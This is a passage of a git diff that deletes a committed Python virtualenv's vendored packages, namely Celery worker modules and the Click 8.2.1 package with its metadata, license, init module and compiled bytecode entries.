disable=redefined-outer-name -# We cache globals and attribute lookups, so disable this warning. - - -def hybrid_to_proto2(message, body): - """Create a fresh protocol 2 message from a hybrid protocol 1/2 message.""" - try: - args, kwargs = body.get('args', ()), body.get('kwargs', {}) - kwargs.items # pylint: disable=pointless-statement - except KeyError: - raise InvalidTaskError('Message does not have args/kwargs') - except AttributeError: - raise InvalidTaskError( - 'Task keyword arguments must be a mapping', - ) - - headers = { - 'lang': body.get('lang'), - 'task': body.get('task'), - 'id': body.get('id'), - 'root_id': body.get('root_id'), - 'parent_id': body.get('parent_id'), - 'group': body.get('group'), - 'meth': body.get('meth'), - 'shadow': body.get('shadow'), - 'eta': body.get('eta'), - 'expires': body.get('expires'), - 'retries': body.get('retries', 0), - 'timelimit': body.get('timelimit', (None, None)), - 'argsrepr': body.get('argsrepr'), - 'kwargsrepr': body.get('kwargsrepr'), - 'origin': body.get('origin'), - } - headers.update(message.headers or {}) - - embed = { - 'callbacks': body.get('callbacks'), - 'errbacks': body.get('errbacks'), - 'chord': body.get('chord'), - 'chain': None, - } - - return (args, kwargs, embed), headers, True, body.get('utc', True) - - -def proto1_to_proto2(message, body): - """Convert Task message protocol 1 arguments to protocol 2. - - Returns: - Tuple: of ``(body, headers, already_decoded_status, utc)`` - """ - try: - args, kwargs = body.get('args', ()), body.get('kwargs', {}) - kwargs.items # pylint: disable=pointless-statement - except KeyError: - raise InvalidTaskError('Message does not have args/kwargs') - except AttributeError: - raise InvalidTaskError( - 'Task keyword arguments must be a mapping', - ) - body.update( - argsrepr=saferepr(args), - kwargsrepr=saferepr(kwargs), - headers=message.headers, - ) - try: - body['group'] = body['taskset'] - except KeyError: - pass - embed = { - 'callbacks': body.get('callbacks'), - 'errbacks': body.get('errbacks'), - 'chord': body.get('chord'), - 'chain': None, - } - return (args, kwargs, embed), body, True, body.get('utc', True) - - -def default(task, app, consumer, - info=logger.info, error=logger.error, task_reserved=task_reserved, - to_system_tz=timezone.to_system, bytes=bytes, - proto1_to_proto2=proto1_to_proto2): - """Default task execution strategy. - - Note: - Strategies are here as an optimization, so sadly - it's not very easy to override. - """ - hostname = consumer.hostname - connection_errors = consumer.connection_errors - _does_info = logger.isEnabledFor(logging.INFO) - - # task event related - # (optimized to avoid calling request.send_event) - eventer = consumer.event_dispatcher - events = eventer and eventer.enabled - send_event = eventer and eventer.send - task_sends_events = events and task.send_events - - call_at = consumer.timer.call_at - apply_eta_task = consumer.apply_eta_task - rate_limits_enabled = not consumer.disable_rate_limits - get_bucket = consumer.task_buckets.__getitem__ - handle = consumer.on_task_request - limit_task = consumer._limit_task - limit_post_eta = consumer._limit_post_eta - Request = symbol_by_name(task.Request) - Req = create_request_cls(Request, task, consumer.pool, hostname, eventer, app=app) - - revoked_tasks = consumer.controller.state.revoked - - def task_message_handler(message, body, ack, reject, callbacks, - to_timestamp=to_timestamp): - if body is None and 'args' not in message.payload: - body, headers, decoded, utc = ( - message.body, message.headers, False, app.uses_utc_timezone(), - ) - else: - if 'args' in message.payload: - body, headers, decoded, utc = hybrid_to_proto2(message, - message.payload) - else: - body, headers, decoded, utc = proto1_to_proto2(message, body) - - req = Req( - message, - on_ack=ack, on_reject=reject, app=app, hostname=hostname, - eventer=eventer, task=task, connection_errors=connection_errors, - body=body, headers=headers, decoded=decoded, utc=utc, - ) - if _does_info: - # Similar to `app.trace.info()`, we pass the formatting args as the - # `extra` kwarg for custom log handlers - context = { - 'id': req.id, - 'name': req.name, - 'args': req.argsrepr, - 'kwargs': req.kwargsrepr, - 'eta': req.eta, - } - info(_app_trace.LOG_RECEIVED, context, extra={'data': context}) - if (req.expires or req.id in revoked_tasks) and req.revoked(): - return - - signals.task_received.send(sender=consumer, request=req) - - if task_sends_events: - send_event( - 'task-received', - uuid=req.id, name=req.name, - args=req.argsrepr, kwargs=req.kwargsrepr, - root_id=req.root_id, parent_id=req.parent_id, - retries=req.request_dict.get('retries', 0), - eta=req.eta and req.eta.isoformat(), - expires=req.expires and req.expires.isoformat(), - ) - - bucket = None - eta = None - if req.eta: - try: - if req.utc: - eta = to_timestamp(to_system_tz(req.eta)) - else: - eta = to_timestamp(req.eta, app.timezone) - except (OverflowError, ValueError) as exc: - error("Couldn't convert ETA %r to timestamp: %r. Task: %r", - req.eta, exc, req.info(safe=True), exc_info=True) - req.reject(requeue=False) - if rate_limits_enabled: - bucket = get_bucket(task.name) - - if eta and bucket: - consumer.qos.increment_eventually() - return call_at(eta, limit_post_eta, (req, bucket, 1), - priority=6) - if eta: - consumer.qos.increment_eventually() - call_at(eta, apply_eta_task, (req,), priority=6) - return task_message_handler - if bucket: - return limit_task(req, bucket, 1) - - task_reserved(req) - if callbacks: - [callback(req) for callback in callbacks] - handle(req) - return task_message_handler diff --git a/backend/venv/Lib/site-packages/celery/worker/worker.py b/backend/venv/Lib/site-packages/celery/worker/worker.py deleted file mode 100644 index 24440123..00000000 --- a/backend/venv/Lib/site-packages/celery/worker/worker.py +++ /dev/null @@ -1,435 +0,0 @@ -"""WorkController can be used to instantiate in-process workers. - -The command-line interface for the worker is in :mod:`celery.bin.worker`, -while the worker program is in :mod:`celery.apps.worker`. - -The worker program is responsible for adding signal handlers, -setting up logging, etc. This is a bare-bones worker without -global side-effects (i.e., except for the global state stored in -:mod:`celery.worker.state`). - -The worker consists of several components, all managed by bootsteps -(mod:`celery.bootsteps`). -""" - -import os -import sys -from datetime import datetime, timezone -from time import sleep - -from billiard import cpu_count -from kombu.utils.compat import detect_environment - -from celery import bootsteps -from celery import concurrency as _concurrency -from celery import signals -from celery.bootsteps import RUN, TERMINATE -from celery.exceptions import ImproperlyConfigured, TaskRevokedError, WorkerTerminate -from celery.platforms import EX_FAILURE, create_pidlock -from celery.utils.imports import reload_from_cwd -from celery.utils.log import mlevel -from celery.utils.log import worker_logger as logger -from celery.utils.nodenames import default_nodename, worker_direct -from celery.utils.text import str_to_list -from celery.utils.threads import default_socket_timeout - -from . import state - -try: - import resource -except ImportError: - resource = None - - -__all__ = ('WorkController',) - -#: Default socket timeout at shutdown. -SHUTDOWN_SOCKET_TIMEOUT = 5.0 - -SELECT_UNKNOWN_QUEUE = """ -Trying to select queue subset of {0!r}, but queue {1} isn't -defined in the `task_queues` setting. - -If you want to automatically declare unknown queues you can -enable the `task_create_missing_queues` setting. -""" - -DESELECT_UNKNOWN_QUEUE = """ -Trying to deselect queue subset of {0!r}, but queue {1} isn't -defined in the `task_queues` setting. -""" - - -class WorkController: - """Unmanaged worker instance.""" - - app = None - - pidlock = None - blueprint = None - pool = None - semaphore = None - - #: contains the exit code if a :exc:`SystemExit` event is handled. - exitcode = None - - class Blueprint(bootsteps.Blueprint): - """Worker bootstep blueprint.""" - - name = 'Worker' - default_steps = { - 'celery.worker.components:Hub', - 'celery.worker.components:Pool', - 'celery.worker.components:Beat', - 'celery.worker.components:Timer', - 'celery.worker.components:StateDB', - 'celery.worker.components:Consumer', - 'celery.worker.autoscale:WorkerComponent', - } - - def __init__(self, app=None, hostname=None, **kwargs): - self.app = app or self.app - self.hostname = default_nodename(hostname) - self.startup_time = datetime.now(timezone.utc) - self.app.loader.init_worker() - self.on_before_init(**kwargs) - self.setup_defaults(**kwargs) - self.on_after_init(**kwargs) - - self.setup_instance(**self.prepare_args(**kwargs)) - - def setup_instance(self, queues=None, ready_callback=None, pidfile=None, - include=None, use_eventloop=None, exclude_queues=None, - **kwargs): - self.pidfile = pidfile - self.setup_queues(queues, exclude_queues) - self.setup_includes(str_to_list(include)) - - # Set default concurrency - if not self.concurrency: - try: - self.concurrency = cpu_count() - except NotImplementedError: - self.concurrency = 2 - - # Options - self.loglevel = mlevel(self.loglevel) - self.ready_callback = ready_callback or self.on_consumer_ready - - # this connection won't establish, only used for params - self._conninfo = self.app.connection_for_read() - self.use_eventloop = ( - self.should_use_eventloop() if use_eventloop is None - else use_eventloop - ) - self.options = kwargs - - signals.worker_init.send(sender=self) - - # Initialize bootsteps - self.pool_cls = _concurrency.get_implementation(self.pool_cls) - self.steps = [] - self.on_init_blueprint() - self.blueprint = self.Blueprint( - steps=self.app.steps['worker'], - on_start=self.on_start, - on_close=self.on_close, - on_stopped=self.on_stopped, - ) - self.blueprint.apply(self, **kwargs) - - def on_init_blueprint(self): - pass - - def on_before_init(self, **kwargs): - pass - - def on_after_init(self, **kwargs): - pass - - def on_start(self): - if self.pidfile: - self.pidlock = create_pidlock(self.pidfile) - - def on_consumer_ready(self, consumer): - pass - - def on_close(self): - self.app.loader.shutdown_worker() - - def on_stopped(self): - self.timer.stop() - self.consumer.shutdown() - - if self.pidlock: - self.pidlock.release() - - def setup_queues(self, include, exclude=None): - include = str_to_list(include) - exclude = str_to_list(exclude) - try: - self.app.amqp.queues.select(include) - except KeyError as exc: - raise ImproperlyConfigured( - SELECT_UNKNOWN_QUEUE.strip().format(include, exc)) - try: - self.app.amqp.queues.deselect(exclude) - except KeyError as exc: - raise ImproperlyConfigured( - DESELECT_UNKNOWN_QUEUE.strip().format(exclude, exc)) - if self.app.conf.worker_direct: - self.app.amqp.queues.select_add(worker_direct(self.hostname)) - - def setup_includes(self, includes): - # Update celery_include to have all known task modules, so that we - # ensure all task modules are imported in case an execv happens. - prev = tuple(self.app.conf.include) - if includes: - prev += tuple(includes) - [self.app.loader.import_task_module(m) for m in includes] - self.include = includes - task_modules = {task.__class__.__module__ - for task in self.app.tasks.values()} - self.app.conf.include = tuple(set(prev) | task_modules) - - def prepare_args(self, **kwargs): - return kwargs - - def _send_worker_shutdown(self): - signals.worker_shutdown.send(sender=self) - - def start(self): - try: - self.blueprint.start(self) - except WorkerTerminate: - self.terminate() - except Exception as exc: - logger.critical('Unrecoverable error: %r', exc, exc_info=True) - self.stop(exitcode=EX_FAILURE) - except SystemExit as exc: - self.stop(exitcode=exc.code) - except KeyboardInterrupt: - self.stop(exitcode=EX_FAILURE) - - def register_with_event_loop(self, hub): - self.blueprint.send_all( - self, 'register_with_event_loop', args=(hub,), - description='hub.register', - ) - - def _process_task_sem(self, req): - return self._quick_acquire(self._process_task, req) - - def _process_task(self, req): - """Process task by sending it to the pool of workers.""" - try: - req.execute_using_pool(self.pool) - except TaskRevokedError: - try: - self._quick_release() # Issue 877 - except AttributeError: - pass - - def signal_consumer_close(self): - try: - self.consumer.close() - except AttributeError: - pass - - def should_use_eventloop(self): - return (detect_environment() == 'default' and - self._conninfo.transport.implements.asynchronous and - not self.app.IS_WINDOWS) - - def stop(self, in_sighandler=False, exitcode=None): - """Graceful shutdown of the worker server (Warm shutdown).""" - if exitcode is not None: - self.exitcode = exitcode - if self.blueprint.state == RUN: - self.signal_consumer_close() - if not in_sighandler or self.pool.signal_safe: - self._shutdown(warm=True) - self._send_worker_shutdown() - - def terminate(self, in_sighandler=False): - """Not so graceful shutdown of the worker server (Cold shutdown).""" - if self.blueprint.state != TERMINATE: - self.signal_consumer_close() - if not in_sighandler or self.pool.signal_safe: - self._shutdown(warm=False) - - def _shutdown(self, warm=True): - # if blueprint does not exist it means that we had an - # error before the bootsteps could be initialized. - if self.blueprint is not None: - with default_socket_timeout(SHUTDOWN_SOCKET_TIMEOUT): # Issue 975 - self.blueprint.stop(self, terminate=not warm) - self.blueprint.join() - - def reload(self, modules=None, reload=False, reloader=None): - list(self._reload_modules( - modules, force_reload=reload, reloader=reloader)) - - if self.consumer: - self.consumer.update_strategies() - self.consumer.reset_rate_limits() - try: - self.pool.restart() - except NotImplementedError: - pass - - def _reload_modules(self, modules=None, **kwargs): - return ( - self._maybe_reload_module(m, **kwargs) - for m in set(self.app.loader.task_modules - if modules is None else (modules or ())) - ) - - def _maybe_reload_module(self, module, force_reload=False, reloader=None): - if module not in sys.modules: - logger.debug('importing module %s', module) - return self.app.loader.import_from_cwd(module) - elif force_reload: - logger.debug('reloading module %s', module) - return reload_from_cwd(sys.modules[module], reloader) - - def info(self): - uptime = datetime.now(timezone.utc) - self.startup_time - return {'total': self.state.total_count, - 'pid': os.getpid(), - 'clock': str(self.app.clock), - 'uptime': round(uptime.total_seconds())} - - def rusage(self): - if resource is None: - raise NotImplementedError('rusage not supported by this platform') - s = resource.getrusage(resource.RUSAGE_SELF) - return { - 'utime': s.ru_utime, - 'stime': s.ru_stime, - 'maxrss': s.ru_maxrss, - 'ixrss': s.ru_ixrss, - 'idrss': s.ru_idrss, - 'isrss': s.ru_isrss, - 'minflt': s.ru_minflt, - 'majflt': s.ru_majflt, - 'nswap': s.ru_nswap, - 'inblock': s.ru_inblock, - 'oublock': s.ru_oublock, - 'msgsnd': s.ru_msgsnd, - 'msgrcv': s.ru_msgrcv, - 'nsignals': s.ru_nsignals, - 'nvcsw': s.ru_nvcsw, - 'nivcsw': s.ru_nivcsw, - } - - def stats(self): - info = self.info() - info.update(self.blueprint.info(self)) - info.update(self.consumer.blueprint.info(self.consumer)) - try: - info['rusage'] = self.rusage() - except NotImplementedError: - info['rusage'] = 'N/A' - return info - - def __repr__(self): - """``repr(worker)``.""" - return ''.format( - self=self, - state=self.blueprint.human_state() if self.blueprint else 'INIT', - ) - - def __str__(self): - """``str(worker) == worker.hostname``.""" - return self.hostname - - @property - def state(self): - return state - - def setup_defaults(self, concurrency=None, loglevel='WARN', logfile=None, - task_events=None, pool=None, consumer_cls=None, - timer_cls=None, timer_precision=None, - autoscaler_cls=None, - pool_putlocks=None, - pool_restarts=None, - optimization=None, O=None, # O maps to -O=fair - statedb=None, - time_limit=None, - soft_time_limit=None, - scheduler=None, - pool_cls=None, # XXX use pool - state_db=None, # XXX use statedb - task_time_limit=None, # XXX use time_limit - task_soft_time_limit=None, # XXX use soft_time_limit - scheduler_cls=None, # XXX use scheduler - schedule_filename=None, - max_tasks_per_child=None, - prefetch_multiplier=None, disable_rate_limits=None, - worker_lost_wait=None, - max_memory_per_child=None, **_kw): - either = self.app.either - self.loglevel = loglevel - self.logfile = logfile - - self.concurrency = either('worker_concurrency', concurrency) - self.task_events = either('worker_send_task_events', task_events) - self.pool_cls = either('worker_pool', pool, pool_cls) - self.consumer_cls = either('worker_consumer', consumer_cls) - self.timer_cls = either('worker_timer', timer_cls) - self.timer_precision = either( - 'worker_timer_precision', timer_precision, - ) - self.optimization = optimization or O - self.autoscaler_cls = either('worker_autoscaler', autoscaler_cls) - self.pool_putlocks = either('worker_pool_putlocks', pool_putlocks) - self.pool_restarts = either('worker_pool_restarts', pool_restarts) - self.statedb = either('worker_state_db', statedb, state_db) - self.schedule_filename = either( - 'beat_schedule_filename', schedule_filename, - ) - self.scheduler = either('beat_scheduler', scheduler, scheduler_cls) - self.time_limit = either( - 'task_time_limit', time_limit, task_time_limit) - self.soft_time_limit = either( - 'task_soft_time_limit', soft_time_limit, task_soft_time_limit, - ) - self.max_tasks_per_child = either( - 'worker_max_tasks_per_child', max_tasks_per_child, - ) - self.max_memory_per_child = either( - 'worker_max_memory_per_child', max_memory_per_child, - ) - self.prefetch_multiplier = int(either( - 'worker_prefetch_multiplier', prefetch_multiplier, - )) - self.disable_rate_limits = either( - 'worker_disable_rate_limits', disable_rate_limits, - ) - self.worker_lost_wait = either('worker_lost_wait', worker_lost_wait) - - def wait_for_soft_shutdown(self): - """Wait :setting:`worker_soft_shutdown_timeout` if soft shutdown is enabled. - - To enable soft shutdown, set the :setting:`worker_soft_shutdown_timeout` in the - configuration. Soft shutdown can be used to allow the worker to finish processing - few more tasks before initiating a cold shutdown. This mechanism allows the worker - to finish short tasks that are already in progress and requeue long-running tasks - to be picked up by another worker. - - .. warning:: - If there are no tasks in the worker, the worker will not wait for the - soft shutdown timeout even if it is set as it makes no sense to wait for - the timeout when there are no tasks to process. - """ - app = self.app - requests = tuple(state.active_requests) - - if app.conf.worker_enable_soft_shutdown_on_idle: - requests = True - - if app.conf.worker_soft_shutdown_timeout > 0 and requests: - log = f"Initiating Soft Shutdown, terminating in {app.conf.worker_soft_shutdown_timeout} seconds" - logger.warning(log) - sleep(app.conf.worker_soft_shutdown_timeout) diff --git a/backend/venv/Lib/site-packages/click-8.2.1.dist-info/INSTALLER b/backend/venv/Lib/site-packages/click-8.2.1.dist-info/INSTALLER deleted file mode 100644 index a1b589e3..00000000 --- a/backend/venv/Lib/site-packages/click-8.2.1.dist-info/INSTALLER +++ /dev/null @@ -1 +0,0 @@ -pip diff --git a/backend/venv/Lib/site-packages/click-8.2.1.dist-info/METADATA b/backend/venv/Lib/site-packages/click-8.2.1.dist-info/METADATA deleted file mode 100644 index e6c05af4..00000000 --- a/backend/venv/Lib/site-packages/click-8.2.1.dist-info/METADATA +++ /dev/null @@ -1,82 +0,0 @@ -Metadata-Version: 2.4 -Name: click -Version: 8.2.1 -Summary: Composable command line interface toolkit -Maintainer-email: Pallets -Requires-Python: >=3.10 -Description-Content-Type: text/markdown -License-Expression: BSD-3-Clause -Classifier: Development Status :: 5 - Production/Stable -Classifier: Intended Audience :: Developers -Classifier: Operating System :: OS Independent -Classifier: Programming Language :: Python -Classifier: Typing :: Typed -License-File: LICENSE.txt -Requires-Dist: colorama; platform_system == 'Windows' -Project-URL: Changes, https://click.palletsprojects.com/page/changes/ -Project-URL: Chat, https://discord.gg/pallets -Project-URL: Documentation, https://click.palletsprojects.com/ -Project-URL: Donate, https://palletsprojects.com/donate -Project-URL: Source, https://github.com/pallets/click/ - -# $ click_ - -Click is a Python package for creating beautiful command line interfaces -in a composable way with as little code as necessary. It's the "Command -Line Interface Creation Kit". It's highly configurable but comes with -sensible defaults out of the box. - -It aims to make the process of writing command line tools quick and fun -while also preventing any frustration caused by the inability to -implement an intended CLI API. - -Click in three points: - -- Arbitrary nesting of commands -- Automatic help page generation -- Supports lazy loading of subcommands at runtime - - -## A Simple Example - -```python -import click - -@click.command() -@click.option("--count", default=1, help="Number of greetings.") -@click.option("--name", prompt="Your name", help="The person to greet.") -def hello(count, name): - """Simple program that greets NAME for a total of COUNT times.""" - for _ in range(count): - click.echo(f"Hello, {name}!") - -if __name__ == '__main__': - hello() -``` - -``` -$ python hello.py --count=3 -Your name: Click -Hello, Click! -Hello, Click! -Hello, Click! -``` - - -## Donate - -The Pallets organization develops and supports Click and other popular -packages. In order to grow the community of contributors and users, and -allow the maintainers to devote more time to the projects, [please -donate today][]. - -[please donate today]: https://palletsprojects.com/donate - -## Contributing - -See our [detailed contributing documentation][contrib] for many ways to -contribute, including reporting issues, requesting features, asking or answering -questions, and making PRs. - -[contrib]: https://palletsprojects.com/contributing/ - diff --git a/backend/venv/Lib/site-packages/click-8.2.1.dist-info/RECORD b/backend/venv/Lib/site-packages/click-8.2.1.dist-info/RECORD deleted file mode 100644 index 0b91d4ec..00000000 --- a/backend/venv/Lib/site-packages/click-8.2.1.dist-info/RECORD +++ /dev/null @@ -1,38 +0,0 @@ -click-8.2.1.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 -click-8.2.1.dist-info/METADATA,sha256=dI1MbhHTLoKD2tNCCGnx9rK2gok23HDNylFeLKdLSik,2471 -click-8.2.1.dist-info/RECORD,, -click-8.2.1.dist-info/WHEEL,sha256=G2gURzTEtmeR8nrdXUJfNiB3VYVxigPQ-bEQujpNiNs,82 -click-8.2.1.dist-info/licenses/LICENSE.txt,sha256=morRBqOU6FO_4h9C9OctWSgZoigF2ZG18ydQKSkrZY0,1475 -click/__init__.py,sha256=6YyS1aeyknZ0LYweWozNZy0A9nZ_11wmYIhv3cbQrYo,4473 -click/__pycache__/__init__.cpython-311.pyc,, -click/__pycache__/_compat.cpython-311.pyc,, -click/__pycache__/_termui_impl.cpython-311.pyc,, -click/__pycache__/_textwrap.cpython-311.pyc,, -click/__pycache__/_winconsole.cpython-311.pyc,, -click/__pycache__/core.cpython-311.pyc,, -click/__pycache__/decorators.cpython-311.pyc,, -click/__pycache__/exceptions.cpython-311.pyc,, -click/__pycache__/formatting.cpython-311.pyc,, -click/__pycache__/globals.cpython-311.pyc,, -click/__pycache__/parser.cpython-311.pyc,, -click/__pycache__/shell_completion.cpython-311.pyc,, -click/__pycache__/termui.cpython-311.pyc,, -click/__pycache__/testing.cpython-311.pyc,, -click/__pycache__/types.cpython-311.pyc,, -click/__pycache__/utils.cpython-311.pyc,, -click/_compat.py,sha256=v3xBZkFbvA1BXPRkFfBJc6-pIwPI7345m-kQEnpVAs4,18693 -click/_termui_impl.py,sha256=ASXhLi9IQIc0Js9KQSS-3-SLZcPet3VqysBf9WgbbpI,26712 -click/_textwrap.py,sha256=BOae0RQ6vg3FkNgSJyOoGzG1meGMxJ_ukWVZKx_v-0o,1400 -click/_winconsole.py,sha256=_vxUuUaxwBhoR0vUWCNuHY8VUefiMdCIyU2SXPqoF-A,8465 -click/core.py,sha256=gUhpNS9cFBGdEXXdisGVG-eRvGf49RTyFagxulqwdFw,117343 -click/decorators.py,sha256=5P7abhJtAQYp_KHgjUvhMv464ERwOzrv2enNknlwHyQ,18461 -click/exceptions.py,sha256=1rdtXgHJ1b3OjGkN-UpXB9t_HCBihJvh_DtpmLmwn9s,9891 -click/formatting.py,sha256=Bhqx4QXdKQ9W4WKknIwj5KPKFmtduGOuGq1yw_THLZ8,9726 -click/globals.py,sha256=gM-Nh6A4M0HB_SgkaF5M4ncGGMDHc_flHXu9_oh4GEU,1923 -click/parser.py,sha256=nU1Ah2p11q29ul1vNdU9swPo_PUuKrxU6YXToi71q1c,18979 -click/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -click/shell_completion.py,sha256=CQSGdjgun4ORbOZrXP0CVhEtPx4knsufOkRsDiK64cM,19857 -click/termui.py,sha256=vAYrKC2a7f_NfEIhAThEVYfa__ib5XQbTSCGtJlABRA,30847 -click/testing.py,sha256=2eLdAaCJCGToP5Tw-XN8JjrDb3wbJIfARxg3d0crW5M,18702 -click/types.py,sha256=KBTRxN28cR1VZ5mb9iJX98MQSw_p9SGzljqfEI8z5Tw,38389 -click/utils.py,sha256=b1Mm-usEDBHtEwcPltPIn3zSK4nw2KTp5GC7_oSTlLo,20245 diff --git a/backend/venv/Lib/site-packages/click-8.2.1.dist-info/WHEEL b/backend/venv/Lib/site-packages/click-8.2.1.dist-info/WHEEL deleted file mode 100644 index d8b9936d..00000000 --- a/backend/venv/Lib/site-packages/click-8.2.1.dist-info/WHEEL +++ /dev/null @@ -1,4 +0,0 @@ -Wheel-Version: 1.0 -Generator: flit 3.12.0 -Root-Is-Purelib: true -Tag: py3-none-any diff --git a/backend/venv/Lib/site-packages/click-8.2.1.dist-info/licenses/LICENSE.txt b/backend/venv/Lib/site-packages/click-8.2.1.dist-info/licenses/LICENSE.txt deleted file mode 100644 index d12a8491..00000000 --- a/backend/venv/Lib/site-packages/click-8.2.1.dist-info/licenses/LICENSE.txt +++ /dev/null @@ -1,28 +0,0 @@ -Copyright 2014 Pallets - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are -met: - -1. Redistributions of source code must retain the above copyright - notice, this list of conditions and the following disclaimer. - -2. Redistributions in binary form must reproduce the above copyright - notice, this list of conditions and the following disclaimer in the - documentation and/or other materials provided with the distribution. - -3. Neither the name of the copyright holder nor the names of its - contributors may be used to endorse or promote products derived from - this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A -PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED -TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR -PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF -LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING -NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/backend/venv/Lib/site-packages/click/__init__.py b/backend/venv/Lib/site-packages/click/__init__.py deleted file mode 100644 index 1aa547c5..00000000 --- a/backend/venv/Lib/site-packages/click/__init__.py +++ /dev/null @@ -1,123 +0,0 @@ -""" -Click is a simple Python module inspired by the stdlib optparse to make -writing command line scripts fun. Unlike other modules, it's based -around a simple API that does not come with too much magic and is -composable. -""" - -from __future__ import annotations - -from .core import Argument as Argument -from .core import Command as Command -from .core import CommandCollection as CommandCollection -from .core import Context as Context -from .core import Group as Group -from .core import Option as Option -from .core import Parameter as Parameter -from .decorators import argument as argument -from .decorators import command as command -from .decorators import confirmation_option as confirmation_option -from .decorators import group as group -from .decorators import help_option as help_option -from .decorators import make_pass_decorator as make_pass_decorator -from .decorators import option as option -from .decorators import pass_context as pass_context -from .decorators import pass_obj as pass_obj -from .decorators import password_option as password_option -from .decorators import version_option as version_option -from .exceptions import Abort as Abort -from .exceptions import BadArgumentUsage as BadArgumentUsage -from .exceptions import BadOptionUsage as BadOptionUsage -from .exceptions import BadParameter as BadParameter -from .exceptions import ClickException as ClickException -from .exceptions import FileError as FileError -from .exceptions import MissingParameter as MissingParameter -from .exceptions import NoSuchOption as NoSuchOption -from .exceptions import UsageError as UsageError -from .formatting import HelpFormatter as HelpFormatter -from .formatting import wrap_text as wrap_text -from .globals import get_current_context as get_current_context -from .termui import clear as clear -from .termui import confirm as confirm -from .termui import echo_via_pager as echo_via_pager -from .termui import edit as edit -from .termui import getchar as getchar -from .termui import launch as launch -from .termui import pause as pause -from .termui import progressbar as progressbar -from .termui import prompt as prompt -from .termui import secho as secho -from .termui import style as style -from .termui import unstyle as unstyle -from .types import BOOL as BOOL -from .types import Choice as Choice -from .types import DateTime as DateTime -from .types import File as File -from .types import FLOAT as FLOAT -from .types import FloatRange as FloatRange -from .types import INT as INT -from .types import IntRange as IntRange -from .types import ParamType as ParamType -from .types import Path as Path -from .types import STRING as STRING -from .types import Tuple as Tuple -from .types import UNPROCESSED as UNPROCESSED -from .types import UUID as UUID -from .utils import echo as echo -from .utils import format_filename as format_filename -from .utils import get_app_dir as get_app_dir -from .utils import get_binary_stream as get_binary_stream -from .utils import get_text_stream as get_text_stream -from .utils import open_file as open_file - - -def __getattr__(name: str) -> object: - import warnings - - if name == "BaseCommand": - from .core import _BaseCommand - - warnings.warn( - "'BaseCommand' is deprecated and will be removed in Click 9.0. Use" - " 'Command' instead.", - DeprecationWarning, - stacklevel=2, - ) - return _BaseCommand - - if name == "MultiCommand": - from .core import _MultiCommand - - warnings.warn( - "'MultiCommand' is deprecated and will be removed in Click 9.0. Use" - " 'Group' instead.", - DeprecationWarning, - stacklevel=2, - ) - return _MultiCommand - - if name == "OptionParser": - from .parser import _OptionParser - - warnings.warn( - "'OptionParser' is deprecated and will be removed in Click 9.0. The" - " old parser is available in 'optparse'.", - DeprecationWarning, - stacklevel=2, - ) - return _OptionParser - - if name == "__version__": - import importlib.metadata - import warnings - - warnings.warn( - "The '__version__' attribute is deprecated and will be removed in" - " Click 9.1. Use feature detection or" - " 'importlib.metadata.version(\"click\")' instead.", - DeprecationWarning, - stacklevel=2, - ) - return importlib.metadata.version("click") - - raise AttributeError(name) diff --git a/backend/venv/Lib/site-packages/click/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/click/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index d044e24f..00000000 Binary files a/backend/venv/Lib/site-packages/click/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/click/__pycache__/_compat.cpython-311.pyc b/backend/venv/Lib/site-packages/click/__pycache__/_compat.cpython-311.pyc deleted file mode 100644 index d68bf057..00000000 Binary files a/backend/venv/Lib/site-packages/click/__pycache__/_compat.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/click/__pycache__/_termui_impl.cpython-311.pyc b/backend/venv/Lib/site-packages/click/__pycache__/_termui_impl.cpython-311.pyc deleted file mode 100644 index 6e6369b0..00000000 Binary files a/backend/venv/Lib/site-packages/click/__pycache__/_termui_impl.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/click/__pycache__/_textwrap.cpython-311.pyc b/backend/venv/Lib/site-packages/click/__pycache__/_textwrap.cpython-311.pyc deleted file mode 100644 index d54a498c..00000000 Binary files a/backend/venv/Lib/site-packages/click/__pycache__/_textwrap.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/click/__pycache__/_winconsole.cpython-311.pyc b/backend/venv/Lib/site-packages/click/__pycache__/_winconsole.cpython-311.pyc deleted file mode 100644 index 2abab299..00000000 Binary files a/backend/venv/Lib/site-packages/click/__pycache__/_winconsole.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/click/__pycache__/core.cpython-311.pyc b/backend/venv/Lib/site-packages/click/__pycache__/core.cpython-311.pyc deleted file mode 100644 index fe13a8f3..00000000 Binary files a/backend/venv/Lib/site-packages/click/__pycache__/core.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/click/__pycache__/decorators.cpython-311.pyc b/backend/venv/Lib/site-packages/click/__pycache__/decorators.cpython-311.pyc deleted file mode 100644 index 1a788e55..00000000 Binary files a/backend/venv/Lib/site-packages/click/__pycache__/decorators.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/click/__pycache__/exceptions.cpython-311.pyc 